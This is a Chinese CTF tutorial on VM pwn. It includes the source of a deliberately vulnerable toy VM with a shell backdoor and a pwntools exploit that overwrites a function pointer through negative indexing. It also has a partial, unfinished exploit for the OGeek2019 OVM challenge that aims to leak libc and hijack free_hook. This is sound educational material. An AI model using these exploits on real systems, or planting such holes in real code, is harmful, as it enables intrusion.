• 打算新生赛出一题vm pwn,不知道来不来得及出。趁着出题给自己也入门一下vm pwn
  • 接下来介绍一下vm pwn,这里需要纠正一个误区,vm pwn不是虚拟机逃逸之类的pwn虚拟机的pwn可能还距离我有点远。

介绍

  • vmpwn一般指代在程序中实现运算指令(汇编指令)来模拟程序的运行或者在程序中自定义运算指令的程序(编译类型),这种类型的难点可能在于逆向
  • 对于汇编类题型,一般的题目就像如下这样:
    • 解题的关键点就是逆向出伪汇编指令,漏洞一般就是越界读写。
    • 这种类型题目的程序,一般都会让用户输入OPCODE,之后就会将用户输入的OPCODE转换为一个伪汇编指令,通过这样来模拟程序在底层中的运行模式。
  • 对于vmpwn的题目,并没有出现什么知识点,主要就是逆向;如果硬要掰扯,那么涉及到的可能就是计算机组成原理对指令设计这个理论知识点的实际应用,操作码的话如果是扩展操作码就比较难逆向,而非扩展操作码会更容易逆向。所以我们在做这题的时候就要逆向出一下几点:
    • 模拟的寄存器的初始值和功能,比如SP指针,PC指针
    • 模拟的内存,模拟的栈,模拟的缓冲区
    • 模拟的指令,例如mov r1,r2,r3,三寄存器运算指令,二寄存器运算指令,一寄存器运算指令,固定操作码,可扩展操作码。
    • 模拟的指令规划。

VM_PWN_level_1

  • 这里由于时间原因我就哪level_2的题目做了一个简单的修改,并且调试会变得更简单,所以这里就给出源码。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include <unistd.h>
int memory[65536];
int reg[12];
int stack[0x20];
void (*funcptr)();
void init();
void backdoor();
int fetch();
void execute(int code);
void my_print();


void my_print()
{
puts("over!");
}


void backdoor()
{
system("/bin/sh");
}


void init()
{
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);
}


int fetch()
{
int a1;
a1 = reg[11];
reg[11] += 1;
return a1;
}


void execute(int code)
{
unsigned int cmd;
unsigned char r1;
unsigned char r2;
unsigned char r3;
cmd = (code & 0xff000000)>> 24;
r1 = (code & 0xf0000) >> 16;
r2 = (code & 0xf00) >> 8;
r3 = (code & 0xf);

if (r1 > 11 || r2 > 11 || r3 > 11)
{
puts("out of index");
exit(0);
}

switch(cmd)
{
case 0x10:
reg[r1] = (code&&0xffff) >> 16;
break;

case 0x20:
stack[reg[10]] = reg[r1];
reg[10]+=1;
break;

case 0x30:
reg[10]-=1;
reg[r1] = stack[reg[10]];
break;

case 0x40:
reg[r1] = reg[r2] + reg[r3];
break;

case 0x50:
reg[r1] = reg[r2] - reg[r3];
break;

case 0x60:
reg[r1] = reg[r2] ^ reg[r3];
break;

case 0x70:
reg[r1] = reg[r2] >> reg[r3];
break;

case 0x80:
reg[r1] = reg[r2] << reg[r3];
case 0x90:
memory[reg[r1]] = reg[r2];
break;
default:
break;
}
}

int main(){
short unsigned int ip;
short unsigned int sp;
short unsigned int size;
short unsigned int count;
int code;
funcptr = my_print;
init();

write(1,"This is my vm.\n",15);
printf("set your IP:");
scanf("%hd",&ip);
getchar();

printf("set your SP:");
scanf("%hd",&sp);
getchar();
reg[10] = sp;
reg[11] = ip;

if( ip > 0x2000 || !sp)
{
puts("error!");
exit(0);
}


printf("How much code do you want to execve:");
scanf("%hd",&size);
getchar();
for( count=0; count < size; count++)
{
scanf("%d",&memory[count]);
getchar();
}

for( count=0; count < size; count++)
{
code = fetch();
execute(code);
}
funcptr();

return 0;
}

level_1分析1

  • 按照流程我们先来check一下保护机制。发现并没有开启PIE保护

image-20250310084657045

  • 现在我们来反编译这个程序,查看一下这个程序的具体运行逻辑

  • 我们先来查看main函数,我们按顺序分析这个程序

    • 首先会funcptr是一个函数指针,它指向了my_print这个函数,并且使用init对输入输出进行初始化
    • 然后程序会让用户输入SPIP,并且将用户输入的值放入spip寄存器中。并检查用户输入的初始化值是否合法
    • 之后程序会让用户输入程序要执行的指令数。然后进入循环,执行两个函数
    • 最后调用funcptr这个函数指针指向的函数

image-20250310164804658

  • 接下来我们查看一下fetch()这个函数,发现就是一个取memory[ip]的值,并且将ip自增,然后返回取出来的值

image-20250310165549267

  • 接下来查看一下execute()这个函数,这个函数会将前面取出来的memory[ip]指令作为参数传递
  • 这里我们一开始并不知道HIBYTE(a1)的值,此时我们就要查看汇编理解一下,我们先看到v5存储在rbp-8这个栈地址中
  • 通过汇编我们可以看到v5存储的是a1的最高8位,之后通过伪c代码就可以看到
    • v2存储的值是a1的第17-20
    • v3存储的值是a1的第9-12
    • v4存储的值是a1的第1-4

image-20250310165818475

image-20250310170324721

  • 我们接下去查看,我们会发现当v5即(a1的最高8位为特定的值时,会执行特定的类似于汇编指令)就像图中
    • v5=0x50,则会执行reg[v2]=reg[v3]-reg[v4],也就是执行sub指令
    • v5=0x70,则会执行reg[v2]=reg[v3]>>reg[v4],也就执行shr指令
    • 这时我们就可以知道,变量v2v3v4就代表着寄存器的编号。

image-20250310170704072

  • 这时我们通过逆向,可以归纳出剩下的指令,而该函数模拟的指令如下,这时我们还注意到reg这个数组是int类型,而不是unsigned类型
1
2
3
4
5
6
7
8
9
0x10  reg[v2] = imm;      			mov imm
0x20 push reg[v2]; push
0x30 pop reg[v2] pop
0x40 reg[v2] = reg[v3] + reg[v4]; add
0x50 reg[v2] = reg[v3] - reg[v4]; sub
0x60 reg[v2] = reg[v3] ^ reg[v4]; xor
0x70 reg[v2] = reg[v3] >> reg[v4]; shr
0x80 reg[v2] = reg[v3] << reg[v4]; shl
0x90 memory[reg[v2]] = reg[v3]; mov [reg[v2]],reg[v3]
  • 我们在函数这块还注意到有一个后门函数

image-20250310172420018

  • 我们现在来查看一下.bss段的全局变量,这时我们发现funcptr就在memory相邻低地址处

image-20250310172233421

  • 我们还注意到有reg这个数组

image-20250310172727594

  • 还注意到stack

image-20250310172747886

level_1分析2

  • 这时我们可以确定漏洞点,就是利用memory[reg[v2]]这个指令进行负索引,从而修改funcptr这个指针为backdoor()这个函数的地址。

  • 接下来我们就来构造一个负索引,我们先初始化sp=0ip=0x1000

  • 首先我们需要构造寄存器的值为负值。一开始我们的各个寄存器都为0,我们先通过mov imm操作,将这个寄存器0、1、2赋值为8、4、20

1
2
3
4
5
6
7
8
9
10
11
12
reg[0]=8
reg[1]=4
reg[2]=20
reg[3]=0
reg[4]=0
reg[5]=0
reg[6]=0
reg[7]=0
reg[8]=0
reg[9]=0
sp=0
ip=0x100
  • 之后我们通过0x80左移操作,将寄存器r1设置为0x400000,即:r1=r1 << r2r1 = 4 << 20
  • 然后通过0x10这个操作将0x877赋值给r3
  • 最后通过0x40这个操作(add)将r1的值变为0x400877,这就是backdoor的地址,这一步操作就是为越界读写修改函数指针做准备
1
2
3
4
5
6
7
8
9
10
11
12
reg[0]=8
reg[1]=0x400877
reg[2]=20
reg[3]=0x877
reg[4]=0
reg[5]=0
reg[6]=0
reg[7]=0
reg[8]=0
reg[9]=0
sp=0
ip=0x100
  • 之后我们要构造负索引,这时我们就用0x50sub指令,使r4-r0,这时我们就得到了负值。

  • 最后我们再通过0x90存指令,直接就可以实现越界读写,使得函数指针指向backdoor

  • 至于负索引要索引到多少,就需要动调去计算偏移了。

level_1_exp

  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context.terminal = ["tmux", "neww"]
p = remote('node1.anna.nssctf.cn',28151)
#p = process('./my_vm')
def code(op,r1,r2,r3=0):
a = (op & 0xFF) << 24
a +=(r1 & 0xFF) << 16
a +=(r2 & 0xFF) << 8
a +=(r3 & 0xFF)
print(hex(a))
p.sendline(str(a).encode('utf-8'))
# 设置PC=0x1000
p.sendlineafter(b'IP:',str(0x0).encode('utf-8'))
# 设置SP=0x0
p.sendlineafter(b'SP:',str(1).encode('utf-8'))
# 设置Code_size=0x1000
p.sendlineafter(b'execve:',str(0x8).encode('utf-8'))
#gdb.attach(p,'break *0x400CFB')
code(0x10,0,0,8)
code(0x10,1,0,4)
code(0x10,2,0,20)
code(0x80,1,1,2) # r1 = 0x400000
code(0x10,3,0x08,0x77)
code(0x40,1,1,3)
code(0x50,4,4,0)
code(0x90,4,1)
p.interactive()

VM_PWN_level_2

  • 由于没有什么新知识点,那么就直接来看题,动手做一题就知道vm_pwn的具体是怎么做的了,并且也不用害怕不理解新知识。
  • 接下来就以:buuctf上的[OGeek2019 Final]OVM作为例题来入门。

level_2分析1

  • 我们拿到附件后就先来check一下程序的保护机制。发现程序开启了如下保护机制。

image-20250228194508857

  • 然后我们使用IDA对这个程序进行反汇编并且逆向出这个程序的运行逻辑。先查看main函数的执行流程,同时先运行一下这个程序,由于main函数比较长,我们根据输入点,分段逆向。
    • 首先程序会先申请一个堆块,然后输入输出初始化,之后会出现一个signal函数。signal函数这里就先不管他
    • 之后就会输出WELCOME TO OVM PWN\n PC这个字符串
    • 输出之后就会让用户输入一个short int类型的数据。之后会处理用户输入的\n
    • 此时我们还不知道PC是什么作用

image-20250228195033818

  • 按照要求输入之后就会执行如下程序:
    • 程序会输出SP:,然后要求用户再次输入一个short int类型的数据,并处理用户输入的\n
    • 之后会将我们之前输入的PC值给reg[15],会将SP的值给reg[13],(这里reg是一个拥有16个元素的数组,每个元素的数组大小为4字节)
    • 这下我们知道PC的值就是程序执行的地址,而SP的值是栈顶指针。
    • 这两个输入的作用就是让用户指定PC和SP的值
    • 所以我们就在IDA中加上注释,防止我们后续忘记。

image-20250228195845007

  • 继续接下去看代码:
    • 程序先会输出CODE SIZE,然后再让用户输出一个short int类型的数据,并处理用户输入的\n
    • 之后程序会检查我们之前输入的SP指针的值和CODE SIZE两者的和是否会大于0x1000并且检查CODE SIZE是否为0
    • 如果大于0x1000或者CODE SIZE0,程序就会退出。

image-20250228200507026

  • 接下去逆向:
    • 之后程序会输出CODE字符串,并且设置running这个全局变量为1
    • 之后会让用户循环输入int类型的数据,循环的次数为我们之前输入的CODE SIZE
    • 所以CODE SIZE的值就是我们之后要输入的操作数个数。
    • 这里memory也是一个全局变量,它是一个65536长度的数组,数组里面每个元素的长度为4字节。
    • 并且我们memory中的什么位置的索引开始,这与我们之前输入的PC有关。并且用户每次输入程序都会处理程序输入的\n
    • 注意:在用户输入后还会对用户输入的值做一个检查,即用户输入的int类型不能以0xff开头

image-20250228200847942

image-20250228203033265

  • 查看最后剩下的代码:
    • 程序会通过while循环,先调用fetch()函数,将返回值给v7,之后调用execute()这个函数,并且把v7这个参数传入到execute()函数中。
    • 之后用户会向comment写入0x8c长度的内容,程序会调用sendcomment()函数,并且将comment作为参数传递进去
    • 最后程序会输出Bye\n然后结束运行。

image-20250228201936035

  • 分析完main函数,我们接下来就分析其他自定义的函数,主要还有fetch()execute()sendcomment()这三个函数。

  • 接下来我们分析fetch()函数:

    • fetch()函数很短,就是将执行PC=PC+1这个操作
    • 并且返回的是CODE的值,即下一个要执行的操作码

image-20250228203307221

  • 再来分析execute()这个函数,这个函数的内容就非常多,所以还是需要一步一步来进行逆向,这边有很多个if分支,我们先来逐个分析:
    • 程序定义了v2v3v4三个unsigned char类型的变量和i这一个int类型的变量
    • v4存储的是a1CODE17-20
    • v3存储的是CODE9-12
    • v2存储的是CODE的最低4位,
    • HIBYTE(a1)就是取a1的最高8位(这个需要从汇编来理解)。存入rax中的最低8位,并且将rax的高位填充为0,所以指令被存储在最高a1的最高8位中
    • a125-32位的值为0x70时,就会执行if语句,也就是将执行add操作,add r1,r2,r3 <=> r1=r2+r3,并返回。
    • 并且我们可以确定在三寄存器运算中v4代表目的寄存器的编号v2v3都表示源寄存器的编号

image-20250228210114684

image-20250228210640842

  • 继续分析,接下来的if语句稍微有点长,还是需要逐步分析,这个if语句是从第19行到第76行。
    • 我们先从上到下进行分析,当a19-16位的值为0xB0时,执行的是寄存器的异或操作
    • a125-32位的值为0xD0时,执行的是寄存器的值位移的操作
    • a125-32位的值为224即(0xE0时),执行的是就会设置running=0也就是将要退出执行,如果reg[13]sp寄存器的值为0还会输出退出操作。
    • a125-32位大于0xD0并且不是0xFF就会执行nop操作
    • a125-32位大于0xD0,且不等于0xFF0xE0程序就会输出0-15这16个寄存器的值,并且会输出HALT其实这个地方的执行逻辑并不是这样的,而是任意一个寄存器的值最高位有0xff都会输出这些寄存器的值,并退出执行。这是在后面动态调试的时候才得到的运行逻辑

image-20250228220123566

  • 接下来继续分析
    • a125-32位为0xC0的时候就会执行左移操作

image-20250228221901625

  • 之后就是如下操作
    • a125-32位为0x90时,就会进行操作
    • a125-32位为0xA0时,就会进行操作
    • a125-32位为0x80时,就会进行操作

image-20250228222031001

  • 逆向到这里我们会注意到上面的代码就都是对寄存器的操作,而接下去的代码就是会有对内存(即全局变量memory)进行操作。
    • 看到下面代码我们发现并没有使用到变量v3,这边都是二寄存器操作或者一寄存器操作
    • 从上到下依次执行的操作为当a19-16位为0x30时会进行直接寻址操作,即寄存器的值被当做地址去取相应内存中的值。
    • a125-32位为0x50时就会先将reg[13]SP指针的值给eax,之后将SP=SP+1,然后将reg[v4]的值放入stack[eax],这个操作类似于Push,其中stack也是一个全局数组,这个数组有16个元素,并且长4字节。
    • a125-32位为0x60时就是类似于Pop的操作,Pop reg[v4]
    • a125-32位为0x40时就是类似于read操作,将寄存器的值读入内存中。
    • a125-32位为0x10时,将CODE的值给指定寄存器reg[v4]
    • a125-32位为0x20时,也就是相当于一个将寄存器置0的操作。
    • 到此为止execute()函数就逆向完成了

image-20250228222532625

image-20250228224448090

  • 这时我们就开始逆向sendcomment()这个函数,这个函数其实没什么好逆向的,就是一个free操作,但是没有将指针置0

image-20250228225559508

  • 还有一个这个函数signal_handler(),这个函数就是一个退出操作,锁得比较死,没什么利用空间

image-20250228225849573

level_2分析2

  • 接下来我们就继续对指令集进行一个总结。以便我们后续进行操作。首先我们可以确定,这个操作码CODE并不是可扩展操作码,所以这就会更好理解。
  • 在上面的指令中,一般情况都是这样的形式,而且这个指令并没有进行指令扩展操作。
  • 实际上,指令也就使用了高4位,而寄存器编号也就使用了各自的低4位。
  • 其中目的寄存器是变量v4存储,9-16位的源寄存器是v3存储,1-8位的源寄存器是v2存储,且二元运算和一元运算都没有使用v3

image-20250228232928172

  • 然后接下来我们对汇编指令做一个汇总,并且给出初始寄存器的值:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
0x10  reg[v4] = code
0x20 reg[v4] = 0
0x30 reg[v4] = memory[reg[v2]] write
0x40 memory[reg[v2]] = reg[v4] read
0x50 push reg[v4]
0x60 pop reg[v4]
0x70 reg[v4] = reg[v2] + reg[v3] add
0x80 reg[v4] = reg[v3] - reg[v2] sub
0x90 reg[v4] = reg[v2] & reg[v3] and
0xA0 reg[v4] = reg[v2] | reg[v3] or
0xB0 reg[v4] = reg[v2] ^ reg[v3] xor
0xC0 reg[v4] = reg[v3] << reg[v2] 左移
0xD0 reg[v4] = reg[v3] >> reg[v2] 右移
0xE0 exit
> 0xD0 且 ≠ 0xE00xFF nop
0xFF 输出所有寄存器的值并结束执行
reg[0]=0
reg[1]=0
reg[2]=0
reg[3]=0
reg[4]=0
reg[5]=0
reg[6]=0
reg[7]=0
reg[8]=0
reg[9]=0
reg[10]=0
reg[11]=0
reg[12]=0
reg[13]=用户输入 SP
reg[14]=0
reg[15]=用户输入 IP
  • 这里我们还知道了几个全局变量,即定义在.bss段上的变量
    • comment存储堆块地址
    • memory模拟内存
    • reg模拟寄存器
    • stack模拟栈
    • running执行标志
  • 这边我们注意到指向堆块的指针comment是存储在.bss段中的,而我们模拟的寄存器是32位的寄存器,所以我们很可能就可以通过负索引,造成越界读写,从而修改comment的值对使其指向其他地方。
  • 之后我们可以向comment写入数据,从题目中可以得知got表不可写,所以我们这时可能就需要劫持free_hook,这里有两种劫持方式
    • 第一种是将comment修改为free_hook的地址劫持free_hook,为ong_gadget
    • 第二种是将comment修改为free_hook-0x8的地址处先写入/bin/sh,再写入system_addr,从而getshll
    • 不论是第一种还是第二种,我们都需要泄露libc地址,即将某个函数的地址打印出来,这就要使用到我们的0xFF这个功能,而我们不能在写入code的时候写入指令0xFF,我们需要在模拟运行的时候对指令进行修改才能使得code最高一位是0xFF
  • 接下来我们就边写脚本边进行动态调试,对整个程序进行分析。
  • 我们先编写如下脚本,形成模版,接下来我们就着重于对code进行编写了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.log_level = 'debug'
p = process('./pwn')
def code(op,r1,r2,r3=0):
a = (op & 0xFF) << 24
a +=(r1 & 0xFF) << 16
a +=(r2 & 0xFF) << 8
a +=(r3 & 0xFF)
print(a)
# 设置PC=0x1000
p.sendlineafter(b'PC:',str(0x1000).encode('utf-8'))
# 设置SP=0x0
p.sendlineafter(b'SP:',str(0).encode('utf-8'))
# 设置Code_size=0x1000
p.sendlineafter(b'CODE SIZE:',str(0x1000).encode('utf-8'))
p.interactive()
  • 首先我们要先进行越界读,使得我们的模拟指令能读取到内存中的got表地址从而泄露libc的地址,我们先来查看一下memory地址与got表地址的偏移。这里我们选取泄露write的地址,首先我们计算偏移,我们发现偏移为0x1036

image-20250301105110109

image-20250301105150536

image-20250301105316154

  • 所以要进行越界读写,我们就首先要构造-0x1036,转换为32位的补码为:

image-20250301105432157

  • 但是由于大部分寄存器的值都为0,所以我们先要想办法使得某个寄存器的值为FFFF EFCA,我们先通过:
    • 0x10000000:即reg[v4] = code,这样就可以进行操作,使得reg[0]=0x10000000
    • 0x50000000:即push reg[0]
    • 0x10000001:即reg[0] = 0x10000001
    • 0x60010000:即pop reg[1]
    • 0x80000001:即sub reg[0]=reg[0]-reg[1],从而得到数据1。
  • 由动态调试会发现寄存器的值如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
reg[0]=1
reg[1]=0
reg[2]=0
reg[3]=0
reg[4]=0
reg[5]=0
reg[6]=0
reg[7]=0
reg[8]=0
reg[9]=0
reg[10]=0
reg[11]=0
reg[12]=0
reg[13]=0x0 SP
reg[14]=0
reg[15]=没去算 IP(PC)
stack[0]=0
  • 这时我们使用add命令,将reg[1]寄存器也变成1,再使用add命令将reg[1]变成2,之后使用左移命令,将reg[2]变成4,使用add命令使得reg[3]变成8,再使用add命令让reg[4]变成16
  • 此时继续动态调试得到,寄存器的布局如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
reg[0]=1
reg[1]=2
reg[2]=4
reg[3]=8
reg[4]=16
reg[5]=0
reg[6]=0
reg[7]=0
reg[8]=0
reg[9]=0
reg[10]=0
reg[11]=0
reg[12]=0
reg[13]=0x0 SP
reg[14]=0
reg[15]=0x103e9 IP(PC)
stack[0]=0
  • 这时我们可以使用 <<命令,先将使得reg[5] = reg[0] << reg[3],再使得reg[5] = reg[5] << reg[2],这样就可以构造出数据0x1000,然后使用add命令,加上三次0x10、一次0x2、一次0x4即可得到0x1036
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
reg[0]=1
reg[1]=2
reg[2]=4
reg[3]=8
reg[4]=16
reg[5]=0x1036
reg[6]=0
reg[7]=0
reg[8]=0
reg[9]=0
reg[10]=0
reg[11]=0
reg[12]=0
reg[13]=0x0 SP
reg[14]=0
reg[15]=0x103e9 IP(PC)
stack[0]=0
  • 这时我们使用sub命令就可以构造出负值,从而得到索引,但是在得到索引之后,发现一个问题,程序会直接输出所有寄存器的值,然后让用户输入内容,这并不是我们所期望的。

image-20250320152810648

  • 所以我们不能使用sub去构造负值,我们现在来试试一下使用位移和加法操作是否可以构造出负值。我们现在就利用sub命令使得reg[6]=reg[4]-reg[0],然后再使用4次位移操作,得到最高位F第二高位F,然后再通过add命令,看看是可以不触发输出寄存器的值。
  • 到目前为止,我们的代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux", "neww"]
p = process('./pwn')
#gdb.attach(p)
def code(op,r1,r2,r3=0):
a = (op & 0xFF) << 24
a +=(r1 & 0xFF) << 16
a +=(r2 & 0xFF) << 8
a +=(r3 & 0xFF)
print(hex(a))
p.sendline(str(a).encode('utf-8'))
# PC=0x0
p.sendlineafter(b'PC:',str(0x1000).encode('utf-8'))
# SP=0x0
p.sendlineafter(b'SP:',str(0).encode('utf-8'))
# Code_size=0x1000
p.sendlineafter(b'CODE SIZE:',str(0x17).encode('utf-8'))
# code布置
code(0x10,0,0,0)
code(0x50,0,0,0)
code(0x10,0,0,1)
code(0x60,1,0,0)
gdb.attach(p)
code(0x80,0,0,1)
#code(0x80,10,10,0)
code(0x70,1,1,0)
code(0x70,1,1,1)
code(0xc0,2,0,1)
code(0x70,3,2,2)
code(0x70,4,3,3)
code(0xc0,5,0,3)
code(0xc0,5,5,2)
code(0x70,5,5,4)
code(0x70,5,5,4)
code(0x70,5,5,4)
code(0x70,5,5,2)
code(0x70,5,5,1)
code(0x80,6,4,0)
code(0xc0,6,6,4)
code(0xc0,7,6,3)
code(0xc0,8,7,2)
p.interactive()
  • 寄存器的值如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
reg[0]=1
reg[1]=2
reg[2]=4
reg[3]=8
reg[4]=16
reg[5]=0x1036
reg[6]=0x000f0000
reg[7]=0x0f000000
reg[8]=0xf0000000
reg[9]=0
reg[10]=0
reg[11]=0
reg[12]=0
reg[13]=0x0 SP
reg[14]=0
reg[15]=0x103e9 IP(PC)
stack[0]=0
  • 这时我们再使用add命令,构造出最高位的0xff,但是还是会触发输出寄存器的值,从而退出执行。所以之前逆向的逻辑就有错误。

image-20250320194512974

level_2_exp

VM_PWN出题

  • 如果我们要出一道VMpwn题,即制作一个简单的VM,我们的程序至少要有如下东西:

    • 需要准备寄存器栈内存,用于数值的传递
    • 如果要输出字符串还需要有一个缓冲区BUFFER
  • VMpwn题中常见的设计如下:

    • 初始化分配模拟寄存器空间(即分配内存空间,将这个内存空间当做寄存器,可以是变量或者是其他可读可写的内存空间)
    • 初始化分配模拟栈空间(STACK)
    • 初始化分配模拟数据存储空间(BUFFER)
    • 初始化分配存储OPCODE(机器指令)空间